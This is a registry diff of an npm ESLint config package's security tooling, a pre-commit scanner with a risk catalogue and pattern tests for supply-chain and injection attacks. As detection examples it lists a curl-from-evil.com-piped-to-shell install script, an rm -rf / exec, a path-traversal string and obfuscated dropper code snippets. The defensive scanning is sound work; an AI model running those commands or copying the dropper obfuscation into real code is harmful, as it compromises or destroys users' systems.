@archpublicwebsite/eslint-config 1.0.21 → 1.0.23
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +48 -3
- package/eslint.config.mjs +29 -24
- package/lint-staged.config.mjs +2 -7
- package/package.json +1 -1
- package/tools/git-hooks/pre-commit.mjs +34 -5
- package/tools/git-hooks/pre-push.mjs +134 -40
- package/tools/security/patterns.mjs +79 -27
- package/tools/security/risks.mjs +34 -34
- package/tools/security/scan.mjs +23 -21
- package/tools/security/scanner.mjs +40 -18
- package/tools/security/test-patterns.mjs +13 -16
- package/tools/setup/install.mjs +106 -49
- package/tools/setup/vscode.mjs +44 -21
package/tools/security/risks.mjs
CHANGED
|
@@ -25,10 +25,10 @@
|
|
|
25
25
|
*/
|
|
26
26
|
export const SEVERITY_SCORE = {
|
|
27
27
|
critical: 4, // CVSS 9.0 – 10.0 → block commit AND push
|
|
28
|
-
high:
|
|
29
|
-
medium:
|
|
30
|
-
low:
|
|
31
|
-
info:
|
|
28
|
+
high: 3, // CVSS 7.0 – 8.9 → block commit AND push
|
|
29
|
+
medium: 2, // CVSS 4.0 – 6.9 → warn; never blocks by default
|
|
30
|
+
low: 1, // CVSS 0.1 – 3.9 → info only
|
|
31
|
+
info: 0, // Informational → no action required
|
|
32
32
|
}
|
|
33
33
|
|
|
34
34
|
/**
|
|
@@ -63,8 +63,8 @@ export const RISK_CATEGORIES = [
|
|
|
63
63
|
owasp: 'A03:2021 – Injection',
|
|
64
64
|
atlas: ['AML.T0051 – LLM Prompt Injection', 'AML.T0010 – ML Supply Chain Compromise'],
|
|
65
65
|
description:
|
|
66
|
-
'Code that allows an attacker to execute arbitrary instructions on the host machine. '
|
|
67
|
-
|
|
66
|
+
'Code that allows an attacker to execute arbitrary instructions on the host machine. ' +
|
|
67
|
+
'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
|
|
68
68
|
severity: 'critical',
|
|
69
69
|
examples: ['eval(userInput)', 'new Function(str)()', "exec('rm -rf /')"],
|
|
70
70
|
},
|
|
@@ -76,9 +76,9 @@ export const RISK_CATEGORIES = [
|
|
|
76
76
|
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
77
77
|
atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
|
|
78
78
|
description:
|
|
79
|
-
'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads '
|
|
80
|
-
|
|
81
|
-
|
|
79
|
+
'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads ' +
|
|
80
|
+
'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, ' +
|
|
81
|
+
'ua-parser-js, polyfill.io).',
|
|
82
82
|
severity: 'high',
|
|
83
83
|
examples: ["Buffer.from('abc', 'base64')", 'String.fromCharCode(104,101,...)', '_$_1e42[0]'],
|
|
84
84
|
},
|
|
@@ -90,11 +90,11 @@ export const RISK_CATEGORIES = [
|
|
|
90
90
|
owasp: 'A03:2021 – Injection',
|
|
91
91
|
atlas: [],
|
|
92
92
|
description:
|
|
93
|
-
'Modification of Object.prototype or constructor.prototype allows an attacker to '
|
|
94
|
-
|
|
95
|
-
|
|
93
|
+
'Modification of Object.prototype or constructor.prototype allows an attacker to ' +
|
|
94
|
+
'inject properties onto every object in the runtime, which can escalate to RCE ' +
|
|
95
|
+
'in some server-side Node.js frameworks.',
|
|
96
96
|
severity: 'high',
|
|
97
|
-
examples: [
|
|
97
|
+
examples: ['obj.__proto__ = {admin: true}', "Object.prototype['x'] = fn"],
|
|
98
98
|
},
|
|
99
99
|
|
|
100
100
|
// ── A4: XSS / DOM injection ────────────────────────────────────────────────
|
|
@@ -104,9 +104,9 @@ export const RISK_CATEGORIES = [
|
|
|
104
104
|
owasp: 'A03:2021 – Injection',
|
|
105
105
|
atlas: [],
|
|
106
106
|
description:
|
|
107
|
-
'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), '
|
|
108
|
-
|
|
109
|
-
|
|
107
|
+
'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), ' +
|
|
108
|
+
'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the ' +
|
|
109
|
+
"victim's browser context.",
|
|
110
110
|
severity: 'high',
|
|
111
111
|
examples: ['el.innerHTML = userInput', 'document.write(data)', '<div v-html="content">'],
|
|
112
112
|
},
|
|
@@ -118,9 +118,9 @@ export const RISK_CATEGORIES = [
|
|
|
118
118
|
owasp: 'A02:2021 – Cryptographic Failures',
|
|
119
119
|
atlas: [],
|
|
120
120
|
description:
|
|
121
|
-
'API keys, tokens, passwords, or private keys committed to source code. '
|
|
122
|
-
|
|
123
|
-
|
|
121
|
+
'API keys, tokens, passwords, or private keys committed to source code. ' +
|
|
122
|
+
'Exposed secrets are frequently scraped from public repositories by automated bots ' +
|
|
123
|
+
'within minutes of exposure.',
|
|
124
124
|
severity: 'critical',
|
|
125
125
|
examples: ['const API_KEY = "sk-..."', 'password: "hunter2"', 'PRIVATE_KEY = "-----BEGIN RSA"'],
|
|
126
126
|
},
|
|
@@ -132,9 +132,9 @@ export const RISK_CATEGORIES = [
|
|
|
132
132
|
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
133
133
|
atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
|
|
134
134
|
description:
|
|
135
|
-
'Malicious code injected via npm package install scripts (preinstall/postinstall), '
|
|
136
|
-
|
|
137
|
-
|
|
135
|
+
'Malicious code injected via npm package install scripts (preinstall/postinstall), ' +
|
|
136
|
+
'typosquatted package names, or compromised transitive dependencies. ' +
|
|
137
|
+
'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
|
|
138
138
|
severity: 'critical',
|
|
139
139
|
examples: ['postinstall: "curl http://evil.com | sh"', 'require("logify-utils") // typosquat'],
|
|
140
140
|
},
|
|
@@ -146,9 +146,9 @@ export const RISK_CATEGORIES = [
|
|
|
146
146
|
owasp: 'A01:2021 – Broken Access Control',
|
|
147
147
|
atlas: [],
|
|
148
148
|
description:
|
|
149
|
-
'User-controlled input used in file-system operations without sanitisation. '
|
|
150
|
-
|
|
151
|
-
|
|
149
|
+
'User-controlled input used in file-system operations without sanitisation. ' +
|
|
150
|
+
'Allows attackers to read, write, or delete files outside the intended directory ' +
|
|
151
|
+
"(e.g., reading /etc/passwd via '../../etc/passwd').",
|
|
152
152
|
severity: 'high',
|
|
153
153
|
examples: ['fs.readFile(req.params.file)', "path.join(base, '../../../etc/passwd')"],
|
|
154
154
|
},
|
|
@@ -160,9 +160,9 @@ export const RISK_CATEGORIES = [
|
|
|
160
160
|
owasp: 'A10:2021 – Server-Side Request Forgery',
|
|
161
161
|
atlas: [],
|
|
162
162
|
description:
|
|
163
|
-
'Outbound HTTP requests made with a URL derived from user input, allowing attackers '
|
|
164
|
-
|
|
165
|
-
|
|
163
|
+
'Outbound HTTP requests made with a URL derived from user input, allowing attackers ' +
|
|
164
|
+
'to probe internal services, cloud metadata APIs (169.254.169.254), or other ' +
|
|
165
|
+
'resources not directly accessible from the internet.',
|
|
166
166
|
severity: 'high',
|
|
167
167
|
examples: ['fetch(req.body.url)', 'axios.get(userSuppliedUrl)'],
|
|
168
168
|
},
|
|
@@ -174,9 +174,9 @@ export const RISK_CATEGORIES = [
|
|
|
174
174
|
owasp: 'A06:2021 – Vulnerable and Outdated Components',
|
|
175
175
|
atlas: [],
|
|
176
176
|
description:
|
|
177
|
-
'Pathological regular expressions with nested quantifiers on overlapping character '
|
|
178
|
-
|
|
179
|
-
|
|
177
|
+
'Pathological regular expressions with nested quantifiers on overlapping character ' +
|
|
178
|
+
'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. ' +
|
|
179
|
+
'User-controlled input matched against such patterns is a DoS vector.',
|
|
180
180
|
severity: 'medium',
|
|
181
181
|
examples: ['/(a+)+$/', '/([a-zA-Z]+)*/', '/(a|aa)+$/'],
|
|
182
182
|
},
|
|
@@ -188,9 +188,9 @@ export const RISK_CATEGORIES = [
|
|
|
188
188
|
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
189
189
|
atlas: ['AML.T0024 – Exfiltration via ML Inference API'],
|
|
190
190
|
description:
|
|
191
|
-
'Network modules (http, https, dns, net) or child_process imported inside Tailwind, '
|
|
192
|
-
|
|
193
|
-
|
|
191
|
+
'Network modules (http, https, dns, net) or child_process imported inside Tailwind, ' +
|
|
192
|
+
'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated ' +
|
|
193
|
+
'privileges and full file-system access — making them a prime exfiltration vector.',
|
|
194
194
|
severity: 'critical',
|
|
195
195
|
examples: ["import https from 'node:https' // in tailwind.config.ts"],
|
|
196
196
|
},
|
package/tools/security/scan.mjs
CHANGED
|
@@ -44,11 +44,7 @@ import {
|
|
|
44
44
|
printSupplyFinding,
|
|
45
45
|
shouldSkip,
|
|
46
46
|
} from './scanner.mjs'
|
|
47
|
-
import {
|
|
48
|
-
getRepoRoot,
|
|
49
|
-
getStagedNameStatus,
|
|
50
|
-
runSafe,
|
|
51
|
-
} from '../git-hooks/shared.mjs'
|
|
47
|
+
import { getRepoRoot, getStagedNameStatus, runSafe } from '../git-hooks/shared.mjs'
|
|
52
48
|
|
|
53
49
|
// ─── Read staged file content ──────────────────────────────────────────────────
|
|
54
50
|
|
|
@@ -70,8 +66,8 @@ function readStagedContent(filePath) {
|
|
|
70
66
|
*/
|
|
71
67
|
function scanStagedFiles() {
|
|
72
68
|
const staged = getStagedNameStatus()
|
|
73
|
-
const toScan = staged.filter(
|
|
74
|
-
['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path))
|
|
69
|
+
const toScan = staged.filter(
|
|
70
|
+
({ status, path }) => ['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path))
|
|
75
71
|
)
|
|
76
72
|
if (toScan.length === 0) return []
|
|
77
73
|
|
|
@@ -81,7 +77,10 @@ function scanStagedFiles() {
|
|
|
81
77
|
let skipped = 0
|
|
82
78
|
|
|
83
79
|
for (const { path: filePath } of toScan) {
|
|
84
|
-
if (shouldSkip(filePath)) {
|
|
80
|
+
if (shouldSkip(filePath)) {
|
|
81
|
+
skipped++
|
|
82
|
+
continue
|
|
83
|
+
}
|
|
85
84
|
|
|
86
85
|
const content = readStagedContent(filePath)
|
|
87
86
|
if (!content) continue
|
|
@@ -91,7 +90,7 @@ function scanStagedFiles() {
|
|
|
91
90
|
|
|
92
91
|
findings.push(
|
|
93
92
|
...collectPatternFindings(lines, isConfig, filePath),
|
|
94
|
-
...collectObfuscatedLineFindings(lines, filePath)
|
|
93
|
+
...collectObfuscatedLineFindings(lines, filePath)
|
|
95
94
|
)
|
|
96
95
|
}
|
|
97
96
|
|
|
@@ -111,10 +110,9 @@ function scanStagedFiles() {
|
|
|
111
110
|
*/
|
|
112
111
|
function getNewlyAddedPackages() {
|
|
113
112
|
const staged = getStagedNameStatus()
|
|
114
|
-
const pkgFiles = staged.filter(
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
&& !path.includes('node_modules'),
|
|
113
|
+
const pkgFiles = staged.filter(
|
|
114
|
+
({ status, path }) =>
|
|
115
|
+
['A', 'M'].includes(status[0]) && path.endsWith('package.json') && !path.includes('node_modules')
|
|
118
116
|
)
|
|
119
117
|
if (pkgFiles.length === 0) return []
|
|
120
118
|
|
|
@@ -131,8 +129,9 @@ function getNewlyAddedPackages() {
|
|
|
131
129
|
}
|
|
132
130
|
}
|
|
133
131
|
return all
|
|
132
|
+
} catch {
|
|
133
|
+
return new Set()
|
|
134
134
|
}
|
|
135
|
-
catch { return new Set() }
|
|
136
135
|
}
|
|
137
136
|
|
|
138
137
|
const added = new Set()
|
|
@@ -156,8 +155,11 @@ function checkInstallScripts(pkgName, repoRoot) {
|
|
|
156
155
|
if (!existsSync(pkgJsonPath)) return []
|
|
157
156
|
|
|
158
157
|
let pkg
|
|
159
|
-
try {
|
|
160
|
-
|
|
158
|
+
try {
|
|
159
|
+
pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8'))
|
|
160
|
+
} catch {
|
|
161
|
+
return []
|
|
162
|
+
}
|
|
161
163
|
|
|
162
164
|
const findings = []
|
|
163
165
|
for (const scriptName of ['preinstall', 'install', 'postinstall']) {
|
|
@@ -199,7 +201,7 @@ function scanNewDependencies(repoRoot) {
|
|
|
199
201
|
|
|
200
202
|
process.stdout.write(`\nSupply-chain scan: ${newPkgs.length} newly added package(s)...\n`)
|
|
201
203
|
|
|
202
|
-
return newPkgs.flatMap(
|
|
204
|
+
return newPkgs.flatMap(pkgName => {
|
|
203
205
|
const findings = []
|
|
204
206
|
const similar = detectTyposquat(pkgName)
|
|
205
207
|
if (similar) {
|
|
@@ -220,7 +222,7 @@ function scanNewDependencies(repoRoot) {
|
|
|
220
222
|
function runAudit(repoRoot) {
|
|
221
223
|
if (process.env.SECURITY_AUDIT !== '1') return
|
|
222
224
|
|
|
223
|
-
process.stdout.write(
|
|
225
|
+
process.stdout.write('\nRunning pnpm audit (SECURITY_AUDIT=1)...\n')
|
|
224
226
|
const result = runSafe('pnpm audit --audit-level=high 2>&1')
|
|
225
227
|
if (result) process.stdout.write(`${DIM}${result}${R}\n`)
|
|
226
228
|
}
|
|
@@ -230,8 +232,8 @@ function runAudit(repoRoot) {
|
|
|
230
232
|
function main() {
|
|
231
233
|
if (process.env.SKIP_SECURITY_SCAN === '1') {
|
|
232
234
|
process.stderr.write(
|
|
233
|
-
`\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n`
|
|
234
|
-
|
|
235
|
+
`\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n` +
|
|
236
|
+
`${YLW} This bypass is intentional and has been logged.${R}\n\n`
|
|
235
237
|
)
|
|
236
238
|
return
|
|
237
239
|
}
|
|
@@ -240,7 +242,7 @@ function main() {
|
|
|
240
242
|
|
|
241
243
|
printScanHeader('@archipelago/security-scan', 'socket.dev-style pre-commit guard')
|
|
242
244
|
|
|
243
|
-
const fileFindings
|
|
245
|
+
const fileFindings = scanStagedFiles()
|
|
244
246
|
const supplyFindings = scanNewDependencies(repoRoot)
|
|
245
247
|
|
|
246
248
|
runAudit(repoRoot)
|
|
@@ -13,24 +13,28 @@ import { CONFIG_FILE_PATTERNS, FILE_PATTERNS, POPULAR_PACKAGES } from './pattern
|
|
|
13
13
|
|
|
14
14
|
// ─── ANSI colours ──────────────────────────────────────────────────────────────
|
|
15
15
|
|
|
16
|
-
export const R
|
|
17
|
-
export const RED
|
|
18
|
-
export const YLW
|
|
19
|
-
export const CYN
|
|
20
|
-
export const GRN
|
|
16
|
+
export const R = '\x1b[0m'
|
|
17
|
+
export const RED = '\x1b[31m'
|
|
18
|
+
export const YLW = '\x1b[33m'
|
|
19
|
+
export const CYN = '\x1b[36m'
|
|
20
|
+
export const GRN = '\x1b[32m'
|
|
21
21
|
export const BOLD = '\x1b[1m'
|
|
22
|
-
export const DIM
|
|
23
|
-
export const HR
|
|
22
|
+
export const DIM = '\x1b[2m'
|
|
23
|
+
export const HR = `\x1b[2m${'─'.repeat(62)}\x1b[0m`
|
|
24
24
|
|
|
25
25
|
// ─── Severity badge ────────────────────────────────────────────────────────────
|
|
26
26
|
|
|
27
27
|
/** @param {'critical'|'high'|'medium'|'low'} severity */
|
|
28
28
|
export function badge(severity) {
|
|
29
29
|
switch (severity) {
|
|
30
|
-
case 'critical':
|
|
31
|
-
|
|
32
|
-
case '
|
|
33
|
-
|
|
30
|
+
case 'critical':
|
|
31
|
+
return `${RED}${BOLD}[CRITICAL]${R}`
|
|
32
|
+
case 'high':
|
|
33
|
+
return `${RED}[HIGH] ${R}`
|
|
34
|
+
case 'medium':
|
|
35
|
+
return `${YLW}[MEDIUM] ${R}`
|
|
36
|
+
default:
|
|
37
|
+
return `${CYN}[LOW] ${R}`
|
|
34
38
|
}
|
|
35
39
|
}
|
|
36
40
|
|
|
@@ -43,6 +47,7 @@ export function badge(severity) {
|
|
|
43
47
|
*/
|
|
44
48
|
export const SELF_REFERENTIAL_SCAN_EXCLUSIONS = [
|
|
45
49
|
'packages/eslint-config/eslint.config.mjs',
|
|
50
|
+
'packages/eslint-config/tools/git-hooks/pre-commit.mjs',
|
|
46
51
|
'packages/eslint-config/tools/git-hooks/pre-push.mjs',
|
|
47
52
|
'packages/eslint-config/tools/security/patterns.mjs',
|
|
48
53
|
'packages/eslint-config/tools/security/risks.mjs',
|
|
@@ -142,9 +147,7 @@ export function levenshtein(a, b) {
|
|
|
142
147
|
for (let j = 0; j <= b.length; j++) dp[0][j] = j
|
|
143
148
|
for (let i = 1; i <= a.length; i++) {
|
|
144
149
|
for (let j = 1; j <= b.length; j++) {
|
|
145
|
-
dp[i][j] = a[i - 1] === b[j - 1]
|
|
146
|
-
? dp[i - 1][j - 1]
|
|
147
|
-
: 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
|
|
150
|
+
dp[i][j] = a[i - 1] === b[j - 1] ? dp[i - 1][j - 1] : 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
|
|
148
151
|
}
|
|
149
152
|
}
|
|
150
153
|
return dp[a.length][b.length]
|
|
@@ -157,7 +160,28 @@ export function levenshtein(a, b) {
|
|
|
157
160
|
* @returns {string|null}
|
|
158
161
|
*/
|
|
159
162
|
export function detectTyposquat(pkgName) {
|
|
160
|
-
const
|
|
163
|
+
const trustedScopes = new Set(['@storybook', '@types', '@vitejs', '@vitest', '@nuxt', '@vue', '@typescript-eslint'])
|
|
164
|
+
|
|
165
|
+
if (pkgName.startsWith('@')) {
|
|
166
|
+
const [scope = '', scopedName = ''] = pkgName.split('/')
|
|
167
|
+
// Trusted namespaces publish many package variants (vue3, react-vite, etc.)
|
|
168
|
+
// and should not be treated as typosquat candidates.
|
|
169
|
+
if (trustedScopes.has(scope)) return null
|
|
170
|
+
|
|
171
|
+
const bareScoped = scopedName || pkgName
|
|
172
|
+
if (bareScoped.length < 3) return null
|
|
173
|
+
for (const popular of POPULAR_PACKAGES) {
|
|
174
|
+
if (bareScoped === popular) return null
|
|
175
|
+
// Skip legit version-suffixed variants like vue3/react18.
|
|
176
|
+
if (bareScoped === `${popular}2` || bareScoped === `${popular}3` || bareScoped === `${popular}18`) {
|
|
177
|
+
return null
|
|
178
|
+
}
|
|
179
|
+
if (levenshtein(bareScoped.toLowerCase(), popular.toLowerCase()) === 1) return popular
|
|
180
|
+
}
|
|
181
|
+
return null
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
const bare = pkgName
|
|
161
185
|
if (bare.length < 3) return null
|
|
162
186
|
for (const popular of POPULAR_PACKAGES) {
|
|
163
187
|
if (bare === popular) return null
|
|
@@ -217,9 +241,7 @@ export function printScanHeader(title, subtitle) {
|
|
|
217
241
|
export function printScanFooter(blocking, warnings, blockMessage, bypassHint) {
|
|
218
242
|
console.log(`\n${HR}`)
|
|
219
243
|
if (blocking.length === 0) {
|
|
220
|
-
const warnNote = warnings.length > 0
|
|
221
|
-
? ` ${DIM}(${warnings.length} warning(s) — review recommended)${R}`
|
|
222
|
-
: ''
|
|
244
|
+
const warnNote = warnings.length > 0 ? ` ${DIM}(${warnings.length} warning(s) — review recommended)${R}` : ''
|
|
223
245
|
console.log(` ${GRN}${BOLD}✔ Security scan passed${R}${warnNote}`)
|
|
224
246
|
console.log(HR)
|
|
225
247
|
console.log()
|
|
@@ -21,34 +21,34 @@ const testCases = [
|
|
|
21
21
|
{
|
|
22
22
|
label: 'Dropper — global require hijack',
|
|
23
23
|
expectedId: 'require-global-hijack',
|
|
24
|
-
line:
|
|
24
|
+
line: 'global[_$_1e42[0]]= require;',
|
|
25
25
|
},
|
|
26
26
|
{
|
|
27
27
|
label: 'Dropper — global bracket assignment via decoded array',
|
|
28
28
|
expectedId: 'global-bracket-assignment',
|
|
29
|
-
line:
|
|
29
|
+
line: 'global[_$_1e42[2]]= module',
|
|
30
30
|
},
|
|
31
31
|
{
|
|
32
32
|
label: 'Dropper — obfuscated _$_ variable names',
|
|
33
33
|
expectedId: 'obfuscated-variable-names',
|
|
34
|
-
line:
|
|
34
|
+
line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];',
|
|
35
35
|
},
|
|
36
36
|
{
|
|
37
37
|
label: 'Dropper — shuffle-cipher IIFE bootstrap',
|
|
38
38
|
expectedId: 'shuffle-cipher-iife',
|
|
39
|
-
line:
|
|
39
|
+
line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};return g.join(\'\')})("rmcej%otb%",2857687)',
|
|
40
40
|
},
|
|
41
41
|
{
|
|
42
42
|
label: 'Dropper — array-based Function call chain (final execution)',
|
|
43
43
|
expectedId: 'array-fn-call-chain',
|
|
44
|
-
line:
|
|
44
|
+
line: 'var Tgw=jFD(LQI,pYd );Tgw(2509);',
|
|
45
45
|
},
|
|
46
46
|
|
|
47
47
|
// ── Classic attack patterns ───────────────────────────────────────────────
|
|
48
48
|
{
|
|
49
49
|
label: 'eval() call',
|
|
50
50
|
expectedId: 'no-eval',
|
|
51
|
-
line:
|
|
51
|
+
line: 'const x = eval(someVar)',
|
|
52
52
|
},
|
|
53
53
|
{
|
|
54
54
|
label: 'new Function() call',
|
|
@@ -58,22 +58,22 @@ const testCases = [
|
|
|
58
58
|
{
|
|
59
59
|
label: 'Buffer base64 decode',
|
|
60
60
|
expectedId: 'base64-decode',
|
|
61
|
-
line:
|
|
61
|
+
line: "const payload = Buffer.from('abc123', 'base64').toString()",
|
|
62
62
|
},
|
|
63
63
|
{
|
|
64
64
|
label: 'String.fromCharCode obfuscation',
|
|
65
65
|
expectedId: 'charcode-obfuscation',
|
|
66
|
-
line:
|
|
66
|
+
line: 'const s = String.fromCharCode(104, 101, 108, 108, 111, 32, 119, 111, 114)',
|
|
67
67
|
},
|
|
68
68
|
{
|
|
69
69
|
label: 'Hex-escaped string payload',
|
|
70
70
|
expectedId: 'hex-string-obfuscation',
|
|
71
|
-
line:
|
|
71
|
+
line: "const k='\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x20\\x68'",
|
|
72
72
|
},
|
|
73
73
|
{
|
|
74
74
|
label: 'Prototype pollution',
|
|
75
75
|
expectedId: 'prototype-pollution',
|
|
76
|
-
line:
|
|
76
|
+
line: 'obj.__proto__ = { admin: true }',
|
|
77
77
|
},
|
|
78
78
|
{
|
|
79
79
|
label: 'child_process in config',
|
|
@@ -97,14 +97,11 @@ for (const tc of testCases) {
|
|
|
97
97
|
console.log(`${GRN}✔${R} ${tc.label}`)
|
|
98
98
|
console.log(` ${YLW}→ [${hit.severity.toUpperCase()}] ${hit.id}${R}`)
|
|
99
99
|
passed++
|
|
100
|
-
}
|
|
101
|
-
else {
|
|
100
|
+
} else {
|
|
102
101
|
console.log(`${RED}${BOLD}✖ ${tc.label}${R}`)
|
|
103
102
|
console.log(` Expected pattern id: ${tc.expectedId}`)
|
|
104
|
-
if (matched.length > 0)
|
|
105
|
-
|
|
106
|
-
else
|
|
107
|
-
console.log(` (no patterns matched this line)`)
|
|
103
|
+
if (matched.length > 0) console.log(` (other matches: ${matched.map(p => p.id).join(', ')})`)
|
|
104
|
+
else console.log(' (no patterns matched this line)')
|
|
108
105
|
failed++
|
|
109
106
|
}
|
|
110
107
|
}
|